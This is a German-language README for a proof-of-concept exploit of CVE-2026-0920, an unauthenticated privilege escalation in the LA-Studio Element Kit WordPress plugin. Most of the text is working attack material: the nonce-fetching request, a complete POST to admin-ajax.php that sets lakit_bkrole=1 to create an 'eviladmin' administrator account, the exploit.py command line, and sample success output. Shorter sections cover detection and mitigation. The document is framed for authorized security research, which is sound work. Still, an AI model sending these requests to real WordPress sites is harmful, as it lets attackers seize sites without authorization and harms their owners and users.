
Proof-of-Concept-Exploit für CVE-2026-0920, eine nicht authentifizierte Privilegienausweitung im WordPress-Plugin LA-Studio Element Kit, die die Erstellung von Administratorkonten ermöglicht.
Ein Proof-of-Concept-Exploit für CVE-2026-0920, eine nicht authentifizierte Schwachstelle zur Privilegienausweitung im LA-Studio Element Kit WordPress-Plugin.
Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, die Registrierungsfunktion des Plugins zu missbrauchen und ein WordPress-Konto mit Administratorrechten zu erstellen.
Dieses Repository enthält einen Python-Proof-of-Concept, der für autorisierte Sicherheitsforschung, Schwachstellenvalidierung und kontrollierte Laborumgebungen entwickelt wurde.
| Eigenschaft | Wert |
|---|---|
| CVE | CVE-2026-0920 |
| Hersteller | LA-Studio |
| Produkt | Element Kit |
| Plattform | WordPress |
| Schwachstelle | Nicht authentifizierte Privilegienausweitung |
| Authentifizierung erforderlich | Nein |
| CWE | CWE-269 |
| Auswirkung | Erstellung eines Administratorkontos |
| PoC | exploit.py |
Die Schwachstelle existiert in der Registrierungsfunktion des Plugins, wo vom Angreifer kontrollierte Registrierungsdaten die einem neu erstellten WordPress-Konto zugewiesene Berechtigung beeinflussen können.
Der anfällige Parameter ist:
lakit_bkrole
Durch die Angabe eines erhöhten Rollenwerts während der Registrierung kann ein nicht authentifizierter Angreifer bewirken, dass das neu erstellte Konto WordPress-Administratorrechte erhält.
LA-Studio Element Kit bietet eine Funktion zur Registrierung von Benutzern über einen AJAX-basierten Registrierungs-Handler.
Der anfällige Ablauf stellt einen Registrierungsmechanismus über Folgendes bereit:
/wp-admin/admin-ajax.php
Die Anfrage verwendet die AJAX-Aktion:
lakit_ajax
und führt eine Registrierungsoperation mit folgendem Inhalt durch:
{
"action": "register"
}
Das Sicherheitsproblem entsteht, weil die serverseitige Registrierungslogik nicht ordnungsgemäß verhindert, dass ein nicht authentifizierter Client einen privilegierten Rollenwert über Folgendes bereitstellt:
lakit_bkrole=1
Ein Angreifer kann daher eine Registrierungsanfrage konstruieren, die zur Erstellung eines WordPress-Kontos mit der Rolle administrator führt.
Für die Durchführung des Angriffs ist kein bestehendes WordPress-Konto erforderlich.
Der PoC führt einen dreistufigen Prozess durch:
┌──────────────────────┐
│ Bootstrap-Endpunkt │
│ │
│ Nonce und │
│ Plugin-Informationen │
│ abrufen │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Registrierungsanfrage│
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Verifizierung │
│ │
│ Erstellten Benutzer │
│ lokalisieren │
│ Administratorrolle │
│ bestätigen │
└──────────────────────┘
Der Exploit verlässt sich nicht ausschließlich auf die Registrierungsantwort.
Stattdessen verifiziert er, dass das neu erstellte Konto tatsächlich existiert und Administratorrechte besitzt.
Die erste Anfrage zielt auf:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
Beispiel:
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
Eine anfällige Laborinstanz könnte Folgendes zurückgeben:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
Der PoC extrahiert die Nonce aus:
"nonce": "577023f674"
Die Nonce wird anschließend der Registrierungsanfrage bereitgestellt.
Die Bootstrap-Antwort kann auch die aktuell registrierten Benutzer offenlegen, wodurch der PoC die Benutzerliste vor und nach der Ausnutzung vergleichen kann.
Der PoC sendet die Registrierungsanfrage an:
/wp-admin/admin-ajax.php
Die Anfrage verwendet:
action=lakit_ajax
mit einer verschachtelten Registrierungsaktion:
action=register
Eine repräsentative Anfrage ist:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
Die relevanten Registrierungsdaten sind:
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
Der sicherheitsrelevante Parameter ist:
lakit_bkrole=1
Die Anfrage wird ohne eine authentifizierte WordPress-Sitzung durchgeführt.
Eine erfolgreiche Registrierungsanfrage gibt eine HTTP-200 OK-Antwort zurück.
Beispiel:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Die JSON-Antwort ist ähnlich strukturiert wie:
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
Der PoC meldet:
[+] User creation appears successful.
Der PoC betrachtet diese Antwort jedoch nicht als ausreichenden Beweis für eine Privilegienausweitung.
Das Konto wird in der nächsten Stufe verifiziert.
Nach der Registrierung fordert der PoC den Bootstrap-Endpunkt erneut an:
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
Die Antwort enthält nun das neu erstellte Konto.
Beispiel:
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
Der entscheidende Beweis ist:
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
Dies bestätigt, dass das vom Angreifer kontrollierte Konto mit Administratorrechten erstellt wurde.
Ein normaler nicht authentifizierter Registrierungsprozess sollte ein Konto mit einer eingeschränkten Rolle wie:
subscriber
erstellen.
Dem Client sollte nicht vertraut werden, eine privilegierte WordPress-Rolle auszuwählen.
Der anfällige Ablauf ermöglicht effektiv:
Nicht authentifizierter Angreifer
|
v
Registrierungs-Endpunkt
|
v
Vom Angreifer kontrollierter Rollenparameter
|
v
WordPress-Benutzererstellung
|
v
administrator
Dies überschreitet die vorgesehene Privilegiengrenze, ohne dass eine vorherige Authentifizierung erforderlich ist.
Der PoC erfordert:
Python 3
Netzwerkzugriff auf das Ziel
Eine anfällige LA-Studio Element Kit-Installation
Es sind keine WordPress-Anmeldedaten erforderlich.
Führen Sie den Exploit mit der Zieladresse und dem Port aus:
python exploit.py -t 127.0.0.1 -p 8103
Die Syntax lautet:
python exploit.py -t <target> -p <port>
Zum Beispiel:
python exploit.py -t 127.0.0.1 -p 8103
Ein erfolgreicher Exploit-Lauf sieht wie folgt aus:
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
Die wichtigen Verifizierungsstufen sind:
[+] User creation appears successful.
gefolgt von:
[+] User 'eviladmin' found. Roles: ['administrator']
und schließlich:
[+] Confirmed administrator privilege!
Die letzte Meldung zeigt an, dass der PoC die Privilegienausweitung verifiziert hat und nicht nur eine erfolgreiche HTTP-Antwort erhalten hat.
Die vollständige PoC-Ausführung kann wie folgt zusammengefasst werden:
1. Ziel angegeben
|
v
2. Bootstrap-Endpunkt angefordert
|
v
3. Registrierungs-Nonce extrahiert
|
v
4. Vorhandene Benutzer aufgelistet
|
v
5. Bösartige Registrierungsanfrage übermittelt
|
v
6. Neues Konto erstellt
|
v
7. Bootstrap-Endpunkt erneut abgefragt
|
v
8. Neues Konto lokalisiert
|
v
9. Kontorolle überprüft
|
v
10. administrator-Privileg bestätigt
GET /wp-json/cve-2026-0920/v1/bootstrap
Zweck:
- Plugin identifizieren
- Nonce abrufen
- Registrierungs-Endpunkt abrufen
- Vorhandene Benutzer erfassen
POST /wp-admin/admin-ajax.php
Wichtige Parameter:
action=lakit_ajax
_nonce=<nonce>
actions=<Registrierungs-JSON>
Registrierungsdaten:
username=<vom Angreifer kontrollierter Benutzername>
email=<vom Angreifer kontrollierte E-Mail>
password=<vom Angreifer kontrolliertes Passwort>
password-confirm=<vom Angreifer kontrolliertes Passwort>
lakit_bkrole=1
Zweck:
Das vom Angreifer kontrollierte Konto erstellen.
GET /wp-json/cve-2026-0920/v1/bootstrap
Zweck:
- Bestätigen, dass das Konto existiert
- Die Rolle des Kontos überprüfen
- Administratorrechte verifizieren
Eine erfolgreiche Ausnutzung wird bestätigt, wenn die Antwort das generierte Konto mit folgendem Inhalt enthält:
"roles": [
"administrator"
]
Eine erfolgreiche Ausnutzung verschafft einem nicht authentifizierten Angreifer ein WordPress-Administratorkonto.
Abhängig von der WordPress-Installation kann der Administratorzugriff einem Angreifer Folgendes ermöglichen:
- Website-Inhalte ändern
- Zusätzliche privilegierte Konten erstellen
- Plugins ändern
- Themes ändern
- WordPress-Einstellungen ändern
- Auf privilegierte administrative Funktionen zugreifen
- Anwendungsdaten ändern
- Potenziell serverseitigen Code über verfügbare WordPress-Funktionen ausführen
Die endgültige Auswirkung hängt von der Hosting-Konfiguration, den aktivierten Plugins, den WordPress-Sicherheitskontrollen und den verfügbaren administrativen Funktionen ab.
Verteidiger sollten auf unerwartete Anfragen achten, die Folgendes betreffen:
/wp-admin/admin-ajax.php
in Kombination mit:
action=lakit_ajax
und Registrierungsanfragen, die Folgendes enthalten:
lakit_bkrole
Unerwartete WordPress-Administratorkonten sollten ebenfalls untersucht werden.
Eine besonders nützliche defensive Prüfung besteht darin, kürzlich erstellte Konten zu überwachen und deren Zeitstempel und Rollen mit legitimer administrativer Aktivität zu vergleichen.
Die primäre Gegenmaßnahme besteht darin, LA-Studio Element Kit auf eine Version zu aktualisieren, die den Sicherheitsfix enthält.
Administratoren sollten außerdem:
- Vorhandene Administratorkonten überprüfen
- Nicht autorisierte Konten entfernen
- Die kürzliche WordPress-Benutzererstellung überwachen
- Verdächtige admin-ajax-Anfragen überwachen
- Unnötige Offenlegung von WordPress-Verwaltungsfunktionen einschränken
- WordPress und installierte Plugins auf dem neuesten Stand halten
Wenn ein Kompromiss vermutet wird, sollten betroffene WordPress-Anmeldedaten rotiert und auf zusätzliche nicht autorisierte Änderungen untersucht werden.
Der PoC wurde in einer kontrollierten Laborumgebung mit Folgendem getestet:
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Web Server: Apache/2.4.59
PHP: 8.2.21
Target: http://127.0.0.1:8103
Der erfolgreiche Test führte zu:
User: eviladmin
Role: administrator
Dieses Projekt wird für autorisierte Sicherheitsforschung, Schwachstellenvalidierung und pädagogische Labornutzung bereitgestellt.
Testen Sie nur Systeme, die Sie besitzen oder für deren Bewertung Sie eine ausdrückliche Genehmigung haben.
Verwenden Sie diesen PoC nicht gegen Systeme ohne Autorisierung.